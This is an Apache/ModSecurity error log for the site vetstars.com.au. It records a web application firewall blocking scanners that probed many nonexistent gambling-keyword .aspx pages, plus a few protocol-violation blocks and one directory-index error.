[Sun Feb 15 15:58:07.884960 2026] [:error] [pid 14577:tid 14583] [client 65.108.2.171:63968] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZF8j3Tqrkuce6u39HsJQAAAAQM"]
[Sun Feb 15 15:58:10.497762 2026] [:error] [pid 35557:tid 35563] [client 65.108.2.171:63984] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZF8ksI4REuGME4xEbMkbwAAAkA"]
[Sun Feb 15 15:58:12.924282 2026] [:error] [pid 42659:tid 42683] [client 65.108.2.171:63994] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZF8lOy3JGHOB-Rj_FZjlAAAAFY"]
[Sun Feb 15 15:58:15.473275 2026] [:error] [pid 14577:tid 14587] [client 65.108.2.171:27186] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZF8l3Tqrkuce6u39HsJRgAAAQc"]
[Sun Feb 15 15:58:17.874415 2026] [:error] [pid 35557:tid 35567] [client 65.108.2.171:27200] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZF8mcI4REuGME4xEbMkdQAAAkQ"]
[Sun Feb 15 15:58:20.461192 2026] [:error] [pid 14577:tid 14591] [client 65.108.2.171:27216] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZF8nHTqrkuce6u39HsJSwAAAQs"]
[Sun Feb 15 15:58:23.043616 2026] [:error] [pid 35557:tid 35569] [client 65.108.2.171:27232] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZF8n8I4REuGME4xEbMkdwAAAkY"]
[Sun Feb 15 15:58:25.529881 2026] [:error] [pid 31679:tid 31724] [client 65.108.2.171:11584] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZF8oRz9Q_0Eh7M-Xr2SFAAAAg8"]
[Sun Feb 15 15:58:28.116700 2026] [:error] [pid 35497:tid 35548] [client 65.108.2.171:11596] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZF8pMyqpfYzoxiskhtekAAAANU"]
[Sun Feb 15 15:58:30.592635 2026] [:error] [pid 14577:tid 14598] [client 65.108.2.171:11604] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZF8pnTqrkuce6u39HsJUgAAARI"]
[Sun Feb 15 15:58:33.203242 2026] [:error] [pid 19652:tid 19670] [client 65.108.2.171:11620] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZF8qTHg2T9K5fiyOL_OrAAAABA"]
[Sun Feb 15 15:58:35.698983 2026] [:error] [pid 35560:tid 35621] [client 65.108.2.171:40884] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZF8qwZSChHPc3occZ4lAQAAAwQ"]
[Sun Feb 15 15:58:38.206930 2026] [:error] [pid 35560:tid 35619] [client 65.108.2.171:40898] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZF8rgZSChHPc3occZ4lAwAAAwI"]
[Sun Feb 15 15:58:40.711797 2026] [:error] [pid 19652:tid 19677] [client 65.108.2.171:40914] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZF8sDHg2T9K5fiyOL_OwQAAABc"]
[Sun Feb 15 15:58:43.165581 2026] [:error] [pid 42752:tid 42760] [client 65.108.2.171:40922] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZF8s8ClY05C-Gq9l0hCnwAAAsE"]
[Sun Feb 15 15:58:45.820274 2026] [:error] [pid 35560:tid 35621] [client 65.108.2.171:19786] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZF8tQZSChHPc3occZ4lEAAAAwQ"]
[Sun Feb 15 15:58:48.264733 2026] [:error] [pid 31679:tid 31709] [client 65.108.2.171:19800] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZF8uBz9Q_0Eh7M-Xr2SIQAAAgA"]
[Sun Feb 15 15:58:50.717292 2026] [:error] [pid 35560:tid 35620] [client 65.108.2.171:19816] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZF8ugZSChHPc3occZ4lEgAAAwM"]
[Sun Feb 15 15:58:53.272650 2026] [:error] [pid 35560:tid 35623] [client 65.108.2.171:19820] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZF8vQZSChHPc3occZ4lEwAAAwY"]
[Sun Feb 15 15:58:55.667441 2026] [:error] [pid 35497:tid 35528] [client 65.108.2.171:25264] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZF8v8yqpfYzoxiskhtepAAAAME"]
[Sun Feb 15 15:58:58.124464 2026] [:error] [pid 42659:tid 42667] [client 65.108.2.171:25276] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZF8wuy3JGHOB-Rj_FZjsAAAAEY"]
[Sun Feb 15 15:59:00.713205 2026] [:error] [pid 14577:tid 14587] [client 65.108.2.171:25290] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZF8xHTqrkuce6u39HsJeAAAAQc"]
[Sun Feb 15 15:59:58.041984 2026] [:error] [pid 42659:tid 42679] [client 65.108.2.171:20458] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZF8_uy3JGHOB-Rj_FZj4AAAAFI"]
[Sun Feb 15 16:00:00.657501 2026] [:error] [pid 14577:tid 14595] [client 65.108.2.171:20472] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZF9AHTqrkuce6u39HsJ4AAAAQ8"]
[Sun Feb 15 16:00:03.228764 2026] [:error] [pid 35557:tid 35566] [client 65.108.2.171:20480] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZF9A8I4REuGME4xEbMktQAAAkM"]
[Sun Feb 15 16:00:05.807292 2026] [:error] [pid 35497:tid 35527] [client 65.108.2.171:52852] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZF9BcyqpfYzoxiskhte4wAAAMA"]
[Sun Feb 15 16:00:08.423116 2026] [:error] [pid 35560:tid 35622] [client 65.108.2.171:52854] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZF9CAZSChHPc3occZ4lWQAAAwU"]
[Sun Feb 15 16:00:10.905971 2026] [:error] [pid 35557:tid 35570] [client 65.108.2.171:52870] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZF9CsI4REuGME4xEbMkxgAAAkc"]
[Sun Feb 15 16:00:13.300632 2026] [:error] [pid 42752:tid 42760] [client 65.108.2.171:52874] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZF9DcClY05C-Gq9l0hC6QAAAsE"]
[Sun Feb 15 16:00:15.830476 2026] [:error] [pid 14577:tid 14584] [client 65.108.2.171:38508] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZF9D3Tqrkuce6u39HsJ_gAAAQQ"]
[Sun Feb 15 16:00:18.314754 2026] [:error] [pid 42752:tid 42761] [client 65.108.2.171:38520] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZF9EsClY05C-Gq9l0hC6gAAAsI"]
[Sun Feb 15 16:00:20.793806 2026] [:error] [pid 42752:tid 42776] [client 65.108.2.171:38530] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZF9FMClY05C-Gq9l0hC7AAAAtE"]
[Sun Feb 15 16:00:23.296952 2026] [:error] [pid 35497:tid 35527] [client 65.108.2.171:38536] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZF9F8yqpfYzoxiskhte8QAAAMA"]
[Sun Feb 15 16:00:25.953931 2026] [:error] [pid 35557:tid 35565] [client 65.108.2.171:48958] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZF9GcI4REuGME4xEbMkzwAAAkI"]
[Sun Feb 15 16:00:28.649793 2026] [:error] [pid 42754:tid 42815] [client 65.108.2.171:48966] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZF9HOiCZrZWT4BVy124uwAAA8E"]
[Sun Feb 15 16:00:31.227769 2026] [:error] [pid 35497:tid 35543] [client 65.108.2.171:48976] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZF9H8yqpfYzoxiskhte9wAAANA"]
[Sun Feb 15 16:00:33.784985 2026] [:error] [pid 35560:tid 35630] [client 65.108.2.171:48986] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZF9IQZSChHPc3occZ4lbgAAAw0"]
[Sun Feb 15 16:00:36.446584 2026] [:error] [pid 42659:tid 42668] [client 65.108.2.171:40560] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZF9JOy3JGHOB-Rj_FZkDAAAAEc"]
[Sun Feb 15 16:00:39.068264 2026] [:error] [pid 35557:tid 35587] [client 65.108.2.171:40572] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZF9J8I4REuGME4xEbMk2gAAAlg"]
[Sun Feb 15 16:00:41.723024 2026] [:error] [pid 31679:tid 31712] [client 65.108.2.171:40588] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZF9KRz9Q_0Eh7M-Xr2ScgAAAgM"]
[Sun Feb 15 16:00:44.392827 2026] [:error] [pid 35560:tid 35638] [client 65.108.2.171:40594] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZF9LAZSChHPc3occZ4lcwAAAxU"]
[Sun Feb 15 16:00:46.902059 2026] [:error] [pid 42753:tid 42796] [client 65.108.2.171:12502] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZF9LghQMLzszrBLG6fckwAAA4k"]
[Sun Feb 15 16:00:49.381299 2026] [:error] [pid 14577:tid 14602] [client 65.108.2.171:12514] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZF9MXTqrkuce6u39HsKMQAAARY"]
[Sun Feb 15 16:00:51.958920 2026] [:error] [pid 14577:tid 14587] [client 65.108.2.171:12518] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZF9M3Tqrkuce6u39HsKMwAAAQc"]
[Sun Feb 15 16:01:49.039911 2026] [:error] [pid 31679:tid 31718] [client 65.108.2.171:10906] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZF9bRz9Q_0Eh7M-Xr2S2wAAAgk"]
[Sun Feb 15 16:01:51.597204 2026] [:error] [pid 42753:tid 42792] [client 65.108.2.171:10920] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZF9bwhQMLzszrBLG6fcxAAAA4U"]
[Sun Feb 15 18:52:20.669698 2026] [autoindex:error] [pid 35560:tid 35631] [client 207.180.241.56:50534] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Feb 16 01:42:50.959866 2026] [:error] [pid 35560:tid 35641] [client 43.153.71.12:53480] [client 43.153.71.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZIFmgZSChHPc3occZ50cgAAAxg"]
[Mon Feb 16 05:23:45.971161 2026] [:error] [pid 4455:tid 4477] [client 43.135.145.117:52798] [client 43.135.145.117] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZI5YQNa-4dvQCL0rupmZgAAANQ"]
[Mon Feb 16 06:52:52.521939 2026] [:error] [pid 37004:tid 37020] [client 51.75.128.81:49678] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZJORFXWqA9gxE5oGmYxUAAAAQ4"]
[Mon Feb 16 06:52:55.237863 2026] [:error] [pid 4349:tid 4440] [client 51.75.128.81:49326] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZJOR8rbZYafUL_3QfwMLwAAAJI"]
[Mon Feb 16 06:52:57.776797 2026] [:error] [pid 4455:tid 4476] [client 51.75.128.81:60974] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZJOSQNa-4dvQCL0ruqNfQAAANM"]
[Mon Feb 16 06:53:00.273191 2026] [:error] [pid 4347:tid 4368] [client 51.75.128.81:60982] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZJOTDFcjv6pEAnSEieuxQAAAAA"]
[Mon Feb 16 06:53:02.749526 2026] [:error] [pid 37004:tid 37027] [client 51.75.128.81:60990] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZJOTlXWqA9gxE5oGmYxYgAAARU"]
